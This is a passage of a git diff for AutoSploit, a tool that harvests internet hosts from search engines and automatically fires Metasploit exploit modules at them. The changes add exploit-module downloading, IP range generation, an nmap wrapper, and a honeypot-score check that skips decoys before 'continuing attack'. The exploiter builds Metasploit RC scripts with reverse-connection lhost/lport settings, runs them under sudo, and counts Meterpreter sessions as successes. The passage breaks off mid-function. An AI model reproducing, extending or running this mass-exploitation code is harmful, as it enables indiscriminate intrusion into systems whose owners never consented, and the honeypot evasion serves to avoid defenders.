+https://gist.githubusercontent.com/Ekultek/4a06da7d69f8f7f24542f7e978ad67a5/raw/5623ac8b9e4dc8e246e013dc7d7e2b5a31948d78/os_command_exploits.txt +https://gist.githubusercontent.com/Ekultek/2d7e0d98b37b1d06676d409fe0c5b899/raw/f4fe9b3c400dcf86a8147fd903a6ee13e3fbe5f5/buffer_overflow_exploit.txt +https://gist.githubusercontent.com/Ekultek/fdac157e66b82fea3075d2149e9aa1d3/raw/c5002d9c9e2918084e16b83fc1a9af06cf26bd05/osx_exploits.txt \ No newline at end of file diff --git a/etc/text_files/nmap_opts.lst b/etc/text_files/nmap_opts.lst new file mode 100644 index 0000000..818bc5e --- /dev/null +++ b/etc/text_files/nmap_opts.lst @@ -0,0 +1,107 @@ +-iL +-iR +--exclude +--excludefile +-sL +-sn +-Pn +-PS +-PA +-PU +-PY +-PE +-PP +-PM +-PO +-n +-R +--dns-servers +--system-dns +--traceroute +-sS +-sT +-sA +-sW +-sM +-sU +-sN +-sF +-sX +--scanflags +-sI +-sY +-sZ +-sO +-b +-p +--exclude-ports +-F +-r +--top-ports +--port-ratio +-sV +--version-intensity +--version-light +--version-all +--version-trace +-sC +--script +--script-args +--script-args-file +--script-trace +--script-updatedb +--script-help +-O +--osscan-limit +--osscan-guess +-T +--min-hostgroup +--max-hostgroup +--min-parallelism +--max-parallelism +--min-rtt-timeout +--max-rtt-timeout +--initial-rtt-timeout +--max-retries +--host-timeout +--scan-delay +--max-scan-delay +--min-rate +--max-rate +-f +--mtu +-D +-S +-e +-g +--source-port +--proxies +--data +--data-string +--data-length +--ip-options +--ttl +--spoof-mac +--badsum +-oN +-oX +-oS +-oG +-oA +-v +-d +--reason +--open +--packet-trace +--iflist +--append-output +--resume +--stylesheet +--webxml +--no-stylesheet +-6 +-A +--datadir +--send-eth/--send-ip +--privileged +--unprivileged \ No newline at end of file diff --git a/install.sh b/install.sh index a92582a..a4ef8a9 100755 --- a/install.sh +++ b/install.sh @@ -88,7 +88,7 @@ function install () { installOSX; ;; *) - echo "Unable to detect operating system that is compatible with AutoSploit..."; + echo "Unable to detect an operating system that is compatible with AutoSploit..."; ;; esac echo ""; diff --git a/lib/banner.py b/lib/banner.py index daf7f02..bb59e3e 100644 --- a/lib/banner.py +++ b/lib/banner.py @@ -1,7 +1,7 @@ import os import random -VERSION = "2.2" +VERSION = "4.0" def banner_1(line_sep="#--", space=" " * 30): @@ -61,7 +61,7 @@ def banner_3(): ) return banner - + def banner_4(): banner = r""" {red} .__. , __. . , {end} diff --git a/lib/cmdline/cmd.py b/lib/cmdline/cmd.py index 3bdf024..647e8b3 100644 --- a/lib/cmdline/cmd.py +++ b/lib/cmdline/cmd.py @@ -25,10 +25,10 @@ def optparser(): """ parser = argparse.ArgumentParser( - usage="python autosploit.py -[c|z|s|a] -[q] QUERY\n" - "{spacer}[-C] WORKSPACE LHOST LPORT [-e] [--whitewash] PATH\n" - "{spacer}[--ruby-exec] [--msf-path] PATH [-E] EXPLOIT-FILE-PATH\n" - "{spacer}[--rand-agent] [--proxy] PROTO://IP:PORT [-P] AGENT".format( + usage="python autosploit.py -c[z|s|a] -q QUERY [-O|A]\n" + "{spacer}[-C WORKSPACE LHOST LPORT] [-e] [--whitewash PATH] [-H]\n" + "{spacer}[--ruby-exec] [--msf-path] PATH [-E EXPLOIT-FILE-PATH]\n" + "{spacer}[--rand-agent] [--proxy PROTO://IP:PORT] [-P AGENT] [-D QUERY,QUERY,..]".format( spacer=" " * 28 ) ) @@ -42,8 +42,10 @@ def optparser(): se.add_argument("-a", "--all", action="store_true", dest="searchAll", help="search all available search engines to gather hosts") save_results_args = se.add_mutually_exclusive_group(required=False) - save_results_args.add_argument("-O", "--overwrite", action="store_true", dest="overwriteHosts", - help="When specified, start from scratch by overwriting the host file with new search results.") + save_results_args.add_argument( + "-O", "--overwrite", action="store_true", dest="overwriteHosts", + help="When specified, start from scratch by overwriting the host file with new search results." + ) save_results_args.add_argument("-A", "--append", action="store_true", dest="appendHosts", help="When specified, append discovered hosts to the host file.") @@ -65,9 +67,11 @@ def optparser(): exploit.add_argument("-e", "--exploit", action="store_true", dest="startExploit", help="start exploiting the already gathered hosts") exploit.add_argument("-d", "--dry-run", action="store_true", dest="dryRun", - help="Do not launch metasploit's exploits. Do everything else. msfconsole is never called.") + help="msfconsole will never be called when this flag is passed") exploit.add_argument("-f", "--exploit-file-to-use", metavar="PATH", dest="exploitFile", help="Run AutoSploit with provided exploit JSON file.") + exploit.add_argument("-H", "--is-honeypot", type=float, default=1000, dest="checkIfHoneypot", metavar="HONEY-SCORE", + help="Determine if the host is a honeypot or not") misc = parser.add_argument_group("misc arguments", "arguments that don't fit anywhere else") misc.add_argument("--ruby-exec", action="store_true", dest="rubyExecutableNeeded", @@ -77,7 +81,9 @@ def optparser(): misc.add_argument("--ethics", action="store_true", dest="displayEthics", help=argparse.SUPPRESS) # easter egg! misc.add_argument("--whitelist", metavar="PATH", dest="whitelist", - help="only exploit hosts listed in the whitelist file") + help="only exploit hosts listed in the whitelist file") + misc.add_argument("-D", "--download", nargs="+", metavar="SEARCH1 SEARCH2 ...", dest="downloadModules", + help="download new exploit modules with a provided search flag") opts = parser.parse_args() return opts @@ -138,6 +144,26 @@ def single_run_args(opt, keys, loaded_modules): lib.settings.close( "You should take this ethical lesson into consideration " "before you continue with the use of this tool:\n\n{}\n".format(ethic)) + if opt.downloadModules is not None: + import re + + modules_to_download = opt.downloadModules + links_list = "{}/etc/text_files/links.txt".format(lib.settings.CUR_DIR) + possibles = open(links_list).readlines() + for module in modules_to_download: + searcher = re.compile("{}".format(module)) + for link in possibles: + if searcher.search(link) is not None: + filename = lib.settings.download_modules(link.strip()) + download_filename = "{}.json".format(link.split("/")[-1].split(".")[0]) + download_path = "{}/etc/json".format(os.getcwd()) + current_files = os.listdir(download_path) + if download_filename not in current_files: + full_path = "{}/{}".format(download_path, download_filename) + lib.jsonize.text_file_to_dict(filename, filename=full_path) + lib.output.info("downloaded into: {}".format(download_path)) + else: + lib.output.warning("file already downloaded, skipping") if opt.exploitList: try: lib.output.info("converting {} to JSON format".format(opt.exploitList)) @@ -165,42 +191,49 @@ def single_run_args(opt, keys, loaded_modules): keys["censys"][1], keys["censys"][0], opt.searchQuery, proxy=headers[0], agent=headers[1], save_mode=search_save_mode - ).censys() + ).search() if opt.searchZoomeye: lib.output.info(single_search_msg.format("Zoomeye")) api_searches[0]( opt.searchQuery, proxy=headers[0], agent=headers[1], save_mode=search_save_mode - ).zoomeye() + ).search() if opt.searchShodan: lib.output.info(single_search_msg.format("Shodan")) api_searches[1]( keys["shodan"][0], opt.searchQuery, proxy=headers[0], agent=headers[1], save_mode=search_save_mode - ).shodan() + ).search() if opt.searchAll: lib.output.info("searching all search engines in order") api_searches[0]( opt.searchQuery, proxy=headers[0], agent=headers[1], save_mode=search_save_mode - ).zoomeye() + ).search() api_searches[1]( keys["shodan"][0], opt.searchQuery, proxy=headers[0], agent=headers[1], save_mode=search_save_mode - ).shodan() + ).search() api_searches[2]( keys["censys"][1], keys["censys"][0], opt.searchQuery, proxy=headers[0], agent=headers[1], save_mode=search_save_mode - ).censys() + ).search() if opt.startExploit: hosts = open(lib.settings.HOST_FILE).readlines() if opt.whitelist: hosts = lib.exploitation.exploiter.whitelist_wash(hosts, whitelist_file=opt.whitelist) + if opt.checkIfHoneypot != 1000: + check_pot = True + else: + check_pot = False lib.exploitation.exploiter.AutoSploitExploiter( opt.msfConfig, loaded_modules, hosts, ruby_exec=opt.rubyExecutableNeeded, msf_path=opt.pathToFramework, - dryRun=opt.dryRun + dryRun=opt.dryRun, + shodan_token=keys["shodan"][0], + check_honey=check_pot, + compare_honey=opt.checkIfHoneypot ).start_exploit() diff --git a/lib/creation/__init__.py b/lib/creation/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/lib/creation/ip_generator.py b/lib/creation/ip_generator.py new file mode 100644 index 0000000..40218af --- /dev/null +++ b/lib/creation/ip_generator.py @@ -0,0 +1,66 @@ +import socket +import itertools + +from multiprocessing import Pool + + +def generate_ip_range(selected_range): + """ + generate an IP address range from each provided node. + for example `10.0.1-10.1-10` will return a generator + object that has IP `10.0.1.1 - 10.0.10.10` in it + """ + octets = selected_range.split(".") + chunks = [map(int, octet.split("-")) for octet in octets] + ranges = [range(c[0], c[1] + 1) if len(c) == 2 else c for c in chunks] + for address in itertools.product(*ranges): + yield ".".join(map(str, address)) + + +def check_ip_alive(ip): + """ + efficiently check if an IP address is alive or not + by using the socket.gethostbyaddr function + """ + def is_valid_ip(ip): + try: + socket.inet_aton(ip) + return True + except: + return False + + try: + if not is_valid_ip(ip): + return False + else: + return socket.gethostbyaddr(ip) + except socket.herror: + return False + + +def check_ip_wrapper(generated_ips, limit=250): + """ + multiprocess the check_ip_alive function in order + to proces a large amount of IP addresses quickly + """ + alive_ips = [] + ips_to_use = [] + i = 0 + proc_pool = Pool(processes=35) + + for ip in generated_ips: + ips_to_use.append(ip) + i += 1 + if i == limit: + break + for ip in ips_to_use: + try: + result = proc_pool.apply_async(check_ip_alive, args=(ip,)).get() + if not result: + pass + else: + alive_ips.append(ip) + except Exception: + pass + proc_pool.close() + return alive_ips diff --git a/lib/creation/issue_creator.py b/lib/creation/issue_creator.py new file mode 100644 index 0000000..3b7f0c0 --- /dev/null +++ b/lib/creation/issue_creator.py @@ -0,0 +1,272 @@ +import re +import os +import sys +import json +import platform +import hashlib +import base64 +try: + from urllib2 import Request, urlopen +except ImportError: + from urllib.request import Request, urlopen + +import requests +from bs4 import BeautifulSoup + +import lib.settings +import lib.output +import lib.banner + +try: + raw_input +except NameError: + raw_input = input + + +def checksum(issue_template_path): + """ + verifies the checksums of the program before you can create an issue + """ + + file_skips = [ + "__init__", ".pyc", ".xml", + ".sample", "HEAD", "pack", + "dev-beta", "description", "config", + "exclude", "index", ".json", + ".gitignore", "LICENSE", "ISSUE_TEMPLATE", + "README", "CONTRIBUTING", "hosts.txt", + "requirements.txt", "checksum_link.txt", + ".key", ".id", ".csv" + ] + current_checksums = [] + failed_checks = 0 + for root, sub, files in os.walk(lib.settings.CUR_DIR): + for name in files: + if not any(c in name for c in file_skips): + path = os.path.join(root, name) + check = hashlib.md5() + check.update(open(path).read()) + check = check.hexdigest() + current_checksums.append("{}:{}".format(path.split("/")[-1], check)) + try: + req = requests.get(lib.settings.CHECKSUM_LINK) + real_checksums = str(req.text).split("\n") + for real, current in zip(sorted(real_checksums), sorted(current_checksums)): + if real != current: + failed_checks += 1 + if failed_checks > 0: + return False + return True + except Exception: + sep = "-" * 35 + lib.output.error( + "something went wrong while verifying the checksums of the current application, " + "this could be due to your internet connectivity. Please either try again, or use " + "the following template to create an issue:" + ) + print("{}\n{}\n{}".format( + sep, open(issue_template_path).read(), sep + )) + exit(1) + + +def check_version_number(current_version): + """ + check the version number before creating an issue + """ + version_checker = re.compile(r"version.=.\S\d.\d.(\d)?", re.I) + try: + req = requests.get("https://raw.githubusercontent.com/NullArray/AutoSploit/master/lib/banner.py") + available_version = version_checker.search(req.content).group().split("=")[-1].split('"')[1] + if available_version > current_version: + return False + return True + except Exception: + return True + + +def create_identifier(data): + """ + create the exception identifier + """ + obj = hashlib.sha1() + try: + obj.update(data) + except: + obj.update(data.encode("utf-8")) + return obj.hexdigest()[1:10] + + +def get_token(path): + """ + we know what this is for + """ + with open(path) as _token: + data = _token.read() + token, n = data.split(":") + for _ in range(int(n)): + token = base64.b64decode(token) + return token + + +def ensure_no_issue(param): + """ + ensure that there is not already an issue that has been created for yours + """ + urls = ( + "https://github.com/NullArray/AutoSploit/issues", + "https://github.com/NullArray/AutoSploit/issues?q=is%3Aissue+is%3Aclosed" + ) + for url in urls: + req = requests.get(url) + param = re.compile(param) + try: + if param.search(req.content) is not None: + return True + except: + content = str(req.content) + if param.search(content) is not None: + return True + return False + + +def find_url(params): + """ + get the URL that your issue is created at + """ + searches = ( + "https://github.com/NullArray/AutoSploit/issues", + "https://github.com/NullArray/AutoSploit/issues?q=is%3Aissue+is%3Aclosed" + ) + for search in searches: + retval = "https://github.com{}" + href = None + searcher = re.compile(params, re.I) + req = requests.get(search) + status, html = req.status_code, req.content + if status == 200: + split_information = str(html).split("\n") + for i, line in enumerate(split_information): + if searcher.search(line) is not None: + href = split_information[i] + if href is not None: + soup = BeautifulSoup(href, "html.parser") + for item in soup.findAll("a"): + link = item.get("href") + return retval.format(link) + return None + + +def hide_sensitive(): + """ + hide sensitive information from the terminal + """ + sensitive = ( + "--proxy", "-P", "--personal-agent", "-q", "--query", "-C", "--config", + "--whitelist", "--msf-path" + ) + args = sys.argv + for item in sys.argv: + if item in sensitive: + if item in ["-C", "--config"]: + try: + item_index = args.index("-C") + 1 + except ValueError: + item_index = args.index("--config") + 1 + for _ in range(3): + hidden = ''.join([x.replace(x, '*') for x in str(args[item_index])]) + args.pop(item_index+_) + args.insert(item_index, hidden) + return ' '.join(args) + else: + try: + item_index = args.index(item) + 1 + hidden = ''.join([x.replace(x, "*") for x in str(args[item_index])]) + args.pop(item_index) + args.insert(item_index, hidden) + return ' '.join(args) + except: + return ' '.join([item for item in sys.argv]) + + +def request_issue_creation(path, arguments, error_message): + """ + request the creation and create the issue + """ + + # TODO:/ we're gonna go ahead and give you guys another chance + #if not checksum(path): + # lib.output.error( + # "It seems you have changed some of the code in the program. We do not accept issues from edited " + # "code as we have no way of reliably testing your issue. We recommend that you only use the version " + # "that is available on github, no issue will be created for this problem." + # ) + # exit(1) + + question = raw_input( + "do you want to create an anonymized issue?[y/N]: " + ) + if question.lower().startswith("y"): + if check_version_number(lib.banner.VERSION): + # gonna read a chunk of it instead of one line + chunk = 4096 + with open(path) as data: + identifier = create_identifier(error_message) + # gotta seek to the beginning of the file since it's already been read `4096` into it + data.seek(0) + issue_title = "Unhandled Exception ({})".format(identifier) + + issue_data = { + "title": issue_title, + "body": ( + "Autosploit version: `{}`\n" + "OS information: `{}`\n" + "Running context: `{}`\n" + "Error mesage: `{}`\n" + "Error traceback:\n```\n{}\n```\n" + "Metasploit launched: `{}`\n".format( + lib.banner.VERSION, + platform.platform(), + ' '.join(sys.argv), + error_message, + open(path).read(), + lib.settings.MSF_LAUNCHED, + ) + ) + } + + _json_data = json.dumps(issue_data) + if sys.version_info > (3,): # python 3 + _json_data = _json_data.encode("utf-8") + + if not ensure_no_issue(identifier): + req = Request( + url="https://api.github.com/repos/nullarray/autosploit/issues", data=_json_data, + headers={"Authorization": "token {}".format(get_token(lib.settings.TOKEN_PATH))} + ) + urlopen(req, timeout=10).read() + lib.output.info( + "issue has been generated with the title '{}', at the following " + "URL '{}'".format( + issue_title, find_url(identifier) + ) + ) + else: + lib.output.error( + "someone has already created this issue here: {}".format(find_url(identifier)) + ) + try: + os.remove(path) + except: + pass + else: + sep = "-" * 35 + lib.output.error( + "it appears you are not using the current version of AutoSploit please update to the newest version " + "and try again, this can also happen when a new update has been pushed and the cached raw page has " + "not been updated yet. If you feel this is the later please create and issue on AutoSploits Github " + "page with the following info:" + ) + print("{}\n{}\n{}".format(sep, open(path).read(), sep)) + else: + lib.output.info("the issue has been logged to a file in path: '{}'".format(path)) diff --git a/lib/errors.py b/lib/errors.py index bab8acc..af2fc58 100644 --- a/lib/errors.py +++ b/lib/errors.py @@ -1 +1,7 @@ -class AutoSploitAPIConnectionError(Exception): pass \ No newline at end of file +class AutoSploitAPIConnectionError(Exception): pass + + +class NmapNotFoundException(Exception): pass + + +class NmapScannerError(Exception): pass \ No newline at end of file diff --git a/lib/exploitation/exploiter.py b/lib/exploitation/exploiter.py index 9bdee43..f5863a8 100644 --- a/lib/exploitation/exploiter.py +++ b/lib/exploitation/exploiter.py @@ -10,24 +10,29 @@ import lib.settings import lib.output +import api_calls.honeyscore_hook def whitelist_wash(hosts, whitelist_file): """ remove IPs from hosts list that do not appear in WHITELIST_FILE """ - whitelist_hosts = [x.strip() for x in open(whitelist_file).readlines() if x.strip()] - lib.output.info('Found {} entries in whitelist.txt, scrubbing'.format(str(len(whitelist_hosts)))) - washed_hosts = [] - #return supplied hosts if whitelist file is empty - if len(whitelist_hosts) == 0: - return hosts - else: - for host in hosts: - if host.strip() in whitelist_hosts: - washed_hosts.append(host) + try: + whitelist_hosts = [x.strip() for x in open(whitelist_file).readlines() if x.strip()] + lib.output.info('Found {} entries in whitelist.txt, scrubbing'.format(str(len(whitelist_hosts)))) + washed_hosts = [] + # return supplied hosts if whitelist file is empty + if len(whitelist_hosts) == 0: + return hosts + else: + for host in hosts: + if host.strip() in whitelist_hosts: + washed_hosts.append(host) - return washed_hosts + return washed_hosts + except IOError: + lib.output.warning("unable to whitewash host list, does the file exist?") + return hosts class AutoSploitExploiter(object): @@ -44,6 +49,9 @@ def __init__(self, configuration, all_modules, hosts=None, **kwargs): self.ruby_exec = kwargs.get("ruby_exec", False) self.msf_path = kwargs.get("msf_path", None) self.dry_run = kwargs.get("dryRun", False) + self.check_honey = kwargs.get("check_honey", False) + self.shodan_token = kwargs.get("shodan_token", None) + self.compare_honey = kwargs.get("compare_honey", 0.0) def view_sorted(self): """ @@ -72,123 +80,141 @@ def start_exploit(self, sep="*" * 10): today_printable = datetime.datetime.today().strftime("%Y-%m-%d_%Hh%Mm%Ss") current_run_path = path.join(lib.settings.RC_SCRIPTS_PATH, today_printable) - makedirs(current_run_path) + try: + makedirs(current_run_path) + except OSError: + current_run_path = path.join(lib.settings.RC_SCRIPTS_PATH, today_printable + "(1)") + makedirs(current_run_path) report_path = path.join(current_run_path, "report.csv") with open(report_path, 'w') as f: csv_file = csv.writer(f, quoting=csv.QUOTE_ALL) - csv_file.writerow(['Target Host', - 'Date (UTC)', - 'MSF Module', - "LocalHost", - "Listening Port", - "Successful Logs", - "Failure Logs", - "All Logs"]) + csv_file.writerow( + [ + 'Target Host', 'Date (UTC)', 'MSF Module', + "LocalHost", "Listening Port", "Successful Logs", + "Failure Logs", "All Logs" + ] + ) lib.output.info("Launching exploits against {hosts_len} hosts:".format(hosts_len=len(self.hosts))) win_total = 0 fail_total = 0 + skip_amount = 0 + lib.settings.MSF_LAUNCHED = True for host in self.hosts: - current_host_path = path.join(current_run_path, host.strip()) - makedirs(current_host_path) - - for mod in self.mods: - if not self.dry_run: - lib.output.info( - "launching exploit '{}' against host '{}'".format( - mod.strip(), host.strip() + host = host.strip() + if self.check_honey: + lib.output.misc_info("checking if {} is a honeypot".format(host)) + honey_score = api_calls.honeyscore_hook.HoneyHook(host, self.shodan_token).make_request() + if honey_score < self.compare_honey: + lib.output.warning( + "honeypot score ({}) is above (or equal to) requested, skipping target".format(honey_score) + ) + skip = True + skip_amount += 1 + else: + lib.output.misc_info("{} does not appear to be a honeypot, continuing attack".format(host)) + skip = False + else: + skip = False + + if not skip: + current_host_path = path.join(current_run_path, host.strip()) + try: + makedirs(current_host_path) + except OSError: + pass + + for mod in self.mods: + if not self.dry_run: + lib.output.info( + "launching exploit '{}' against host '{}'".format( + mod.strip(), host.strip() + ) ) + + cmd_template = ( + "sudo {use_ruby} {msf_path} -r {rc_script_path} -q" ) - cmd_template = ( - "sudo {use_ruby} {msf_path} -r {rc_script_path} -q" - ) - - use_ruby = "ruby" if self.ruby_exec else "" - msf_path = self.msf_path if self.msf_path is not None else "msfconsole" - - - - # What's the point of having a workspace if you overwrite it every fucking time.. - rc_script_template = ( - "workspace -a {workspace}\n" - "use {module_name}\n" - "setg lhost {lhost}\n" - "setg lport {lport}\n" - "setg verbose true\n" - "setg threads 20\n" - "set rhost {rhost}\n" - "set rhosts {rhosts}\n" - "run -z\n" - "exit\n" - ) - - module_name=mod.strip() - workspace=self.configuration[0] - lhost=self.configuration[1] - lport=self.configuration[2] - rhost=host.strip() - - current_rc_script_path = path.join(current_host_path, mod.replace("/", '-').strip()) - with open(current_rc_script_path, 'w') as f: - - f.writelines(rc_script_template.format( - module_name=module_name, - workspace=workspace, - lhost=lhost, - lport=lport, - rhost=rhost, - rhosts=rhost - )) - - with open(report_path, 'a') as f: - - cmd = cmd_template.format( - use_ruby=use_ruby, - msf_path=msf_path, - rc_script_path=current_rc_script_path + use_ruby = "ruby" if self.ruby_exec else "" + msf_path = self.msf_path if self.msf_path is not None else "msfconsole" + + # What's the point of having a workspace if you overwrite it every fucking time.. + rc_script_template = ( + "workspace -a {workspace}\n" + "use {module_name}\n" + "setg lhost {lhost}\n" + "setg lport {lport}\n" + "setg verbose true\n" + "setg threads 20\n" + "set rhost {rhost}\n" + "set rhosts {rhosts}\n" + "run -z\n" + "exit -y\n" ) - output = [""] - if not self.dry_run: - output = lib.settings.cmdline(cmd) - - ansi_escape = re.compile(r'\x1B\[[0-?]*[ -/]*[@-~]') - msf_output_lines = [ansi_escape.sub('', x) for x in output if re.search('\[.\]', x)] - - msf_wins = [x for x in msf_output_lines if re.search('\[\+\]', x) or - 'Meterpreter' in x or - 'Session' in x or - 'Sending stage' in x] - - msf_fails = [x for x in msf_output_lines if re.search('\[-\]', x)] - - if len(msf_wins): - win_total += 1 - if len(msf_fails): - fail_total += 1 - - csv_file = csv.writer(f, quoting=csv.QUOTE_ALL) - csv_file.writerow([rhost, - today_printable, - module_name, - lhost, - lport, - linesep.join(msf_wins), - linesep.join(msf_fails), - linesep.join(msf_output_lines)]) - - print() + module_name = mod.strip() + workspace = self.configuration[0] + lhost = self.configuration[1] + lport = self.configuration[2] + rhost = host.strip() + + current_rc_script_path = path.join(current_host_path, mod.replace("/", '-').strip()) + with open(current_rc_script_path, 'w') as f: + + f.writelines(rc_script_template.format( + module_name=module_name, + workspace=workspace, + lhost=lhost, + lport=lport, + rhost=rhost, + rhosts=rhost + )) + + with open(report_path, 'a') as f: + + cmd = cmd_template.format( + use_ruby=use_ruby, + msf_path=msf_path, + rc_script_path=current_rc_script_path + ) + + output = [""] + if not self.dry_run: + output = lib.settings.cmdline(cmd) + + ansi_escape = re.compile(r'\x1B\[[0-?]*[ -/]*[@-~]') + msf_output_lines = [ansi_escape.sub('', x) for x in output if re.search('\[.\]', x)] + + msf_wins = [ + x for x in msf_output_lines if re.search('\[\+\]', x) or + 'Meterpreter' in x or 'Session' in x or 'Sending stage' in x + ] + msf_fails = [x for x in msf_output_lines if re.search('\[-\]', x) and 'Background' not in x] + + if len(msf_wins): + win_total += 1 + if len(msf_fails): + fail_total += 1 + + csv_file = csv.writer(f, quoting=csv.QUOTE_ALL) + csv_file.writerow([ + rhost, today_printable, module_name, lhost, lport, + linesep.join(msf_wins), linesep.join(msf_fails), linesep.join(msf_output_lines) + ]) + + print("") lib.output.info("{}RESULTS{}".format(sep, sep)) if self.dry_run: lib.output.info("\tDRY RUN!") lib.output.info("\t0 exploits run against {} hosts.".format(len(self.hosts))) else: - lib.output.info("\t{} exploits run against {} hosts.".format(len(self.mods), len(self.hosts))) + lib.output.info("\t{} exploits run against {} hosts.".format(len(self.mods), len(self.hosts) - skip_amount)) lib.output.info("\t{} exploit successful (Check report.csv to validate!).".format(win_total)) lib.output.info("\t{} exploit failed.".format(fail_total)) diff --git a/lib/jsonize.py b/lib/jsonize.py index 39b08a8..5613baf 100644 --- a/lib/jsonize.py +++ b/lib/jsonize.py @@ -48,12 +48,19 @@ def load_exploits(path, node="exploits"): """ retval = [] file_list = os.listdir(path) + selected = False if len(file_list) != 1: lib.output.info("total of {} exploit files discovered for use, select one:".format(len(file_list))) - for i, f in enumerate(file_list, start=1): - print("{}. '{}'".format(i, f[:-5])) - action = raw_input(lib.settings.AUTOSPLOIT_PROMPT) - selected_file = file_list[int(action) - 1] + while not selected: + for i, f in enumerate(file_list, start=1): + print("{}. '{}'".format(i, f[:-5])) + action = raw_input(lib.settings.AUTOSPLOIT_PROMPT) + try: + selected_file = file_list[int(action) - 1] + selected = True + except Exception: + lib.output.warning("invalid selection ('{}'), select from below".format(action)) + selected = False else: selected_file = file_list[0] @@ -69,7 +76,7 @@ def load_exploits(path, node="exploits"): return retval -def text_file_to_dict(path): +def text_file_to_dict(path, filename=None): """ take a text file path, and load all of the information into a `dict` send that `dict` into a JSON format and save it into a file. it will @@ -81,7 +88,10 @@ def text_file_to_dict(path): for exploit in exploits.readlines(): # load everything into the dict start_dict["exploits"].append(exploit.strip()) - filename_path = "{}/etc/json/{}.json".format(os.getcwd(), random_file_name()) + if filename is None: + filename_path = "{}/etc/json/{}.json".format(os.getcwd(), random_file_name()) + else: + filename_path = filename with open(filename_path, "a+") as exploits: # sort and indent to make it look pretty _data = json.dumps(start_dict, indent=4, sort_keys=True) diff --git a/lib/scanner/__init__.py b/lib/scanner/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/lib/scanner/nmap.py b/lib/scanner/nmap.py new file mode 100644 index 0000000..71187f7 --- /dev/null +++ b/lib/scanner/nmap.py @@ -0,0 +1,255 @@ +""" + +********************************************************************************************* +* NOTICE FROM AUTOSPLOIT DEVELOPERS * +********************************************************************************************* +* this is basically an exact copy of * +* `https://github.com/komand/python-nmap/blob/master/nmap/nmap.py` that has been modified * +* to better fit into autosploits development. There has been very minimal changes to it * +* and it still basically functions the exact same way * +********************************************************************************************* + + +ORIGINAL INFO: +-------------- +nmap.py - version and date, see below +Source code : https://bitbucket.org/xael/python-nmap +Author : +* Alexandre Norman - norman at xael.org +Contributors: +* Steve 'Ashcrow' Milner - steve at gnulinux.net +* Brian Bustin - brian at bustin.us +* old.schepperhand +* Johan Lundberg +* Thomas D. maaaaz +* Robert Bost +* David Peltier +Licence: GPL v3 or any later version for python-nmap +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +any later version. +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. +You should have received a copy of the GNU General Public License +along with this program. If not, see . +************** +IMPORTANT NOTE +************** +The Nmap Security Scanner used by python-nmap is distributed +under it's own licence that you can find at https://svn.nmap.org/nmap/COPYING +Any redistribution of python-nmap along with the Nmap Security Scanner +must conform to the Nmap Security Scanner licence + +__author__ = 'Alexandre Norman (norman@xael.org)' +__version__ = '0.6.2' +__last_modification__ = '2017.01.07' +""" + +import os +import json +import subprocess + +from xml.etree import ElementTree + +import lib.jsonize +import lib.errors +import lib.output +import lib.settings + + +def parse_nmap_args(args): + """ + parse the provided arguments and ask if they aren't in the `known` arguments list + """ + runnable_args = [] + known_args = [a.strip() for a in open(lib.settings.NMAP_OPTIONS_PATH).readlines()] + for arg in args: + if " " in arg: + tmparg = arg.split(" ")[0] + else: + tmparg = arg + if tmparg in known_args: + runnable_args.append(arg) + else: + choice = lib.output.prompt( + "argument: '{}' is not in the list of 'known' nmap arguments, " + "do you want to use it anyways[y/N]".format(arg) + ) + if choice.lower() == "y": + runnable_args.append(tmparg) + return runnable_args + + +def write_data(host, output, is_xml=True): + """ + dump XML data to a file + """ + if not os.path.exists(lib.settings.NMAP_XML_OUTPUT_BACKUP if is_xml else lib.settings.NMAP_JSON_OUTPUT_BACKUP): + os.makedirs(lib.settings.NMAP_XML_OUTPUT_BACKUP if is_xml else lib.settings.NMAP_JSON_OUTPUT_BACKUP) + file_path = "{}/{}_{}.{}".format( + lib.settings.NMAP_XML_OUTPUT_BACKUP if is_xml else lib.settings.NMAP_JSON_OUTPUT_BACKUP, + str(host), lib.jsonize.random_file_name(length=10), "xml" if is_xml else "json" + ) + with open(file_path, 'a+') as results: + if is_xml: + results.write(output) + else: + json.dump(output, results, indent=4) + return file_path + + +def find_nmap(search_paths): + """ + check if nmap is on the system + """ + for path in search_paths: + try: + _ = subprocess.Popen([path, '-V'], bufsize=10000, stdout=subprocess.PIPE, close_fds=True) + except OSError: + pass + else: + return path + raise lib.errors.NmapNotFoundException + + +def do_scan(host, nmap_path, ports=None, arguments=None): + """ + perform the nmap scan + """ + if arguments is None: + arguments = "-sV" + launch_arguments = [ + nmap_path, '-oX', '-', host, + '-p ' + ports if ports is not None else "", + ] + arguments + to_launch = [] + for item in launch_arguments: + if not item == "": + to_launch.append(item) + lib.output.info("launching nmap scan against {} ({})".format(host, " ".join(to_launch))) + process = subprocess.Popen( + launch_arguments, bufsize=10000, stdin=subprocess.PIPE, + stdout=subprocess.PIPE, stderr=subprocess.PIPE + ) + output, error = process.communicate() + output_data = bytes.decode(output) + nmap_error = bytes.decode(error) + nmap_error_tracestack = [] + nmap_warn_tracestack = [] + if len(nmap_error) > 0: + for line in nmap_error.split(os.linesep): + if len(line) != 0: + if lib.settings.NMAP_ERROR_REGEX_WARNING.search(line) is not None: + nmap_warn_tracestack.append(line + os.linesep) + else: + nmap_error_tracestack.append(line + os.linesep) + write_data(host, output_data, is_xml=True) + return output_data, "".join(nmap_warn_tracestack), "".join(nmap_error_tracestack) + + +def parse_xml_output(output, warnings, error): + """ + parse the XML data out of the file into a dict + """ + results = {} + try: + root = ElementTree.fromstring(output) + except Exception: + if len(error) != 0: + raise lib.errors.NmapScannerError(error) + else: + raise lib.errors.NmapScannerError(output) + results['nmap_scan'] = { + 'full_command_line': root.get('args'), + 'scan_information': {}, + 'scan_stats': { + 'time_string': root.find('runstats/finished').get('timestr'), + 'elapsed': root.find('runstats/finished').get('elapsed'), + 'hosts_up': root.find('runstats/hosts').get('up'), + 'down_hosts': root.find('runstats/hosts').get('down'), + 'total_hosts_scanned': root.find('runstats/hosts').get('total') + } + } + if len(error) != 0: + results['nmap_scan']['scan_information']['errors'] = error + if len(warnings) != 0: + results['nmap_scan']['scan_information']['warnings'] = warnings + for info in root.findall('scaninfo'): + results['nmap_scan']['scan_information'][info.get('protocol')] = { + 'method': info.get('type'), + 'services': info.get('services') + } + for attempted_host in root.findall('host'): + host = None + addresses = {} + vendors = {} + for address in 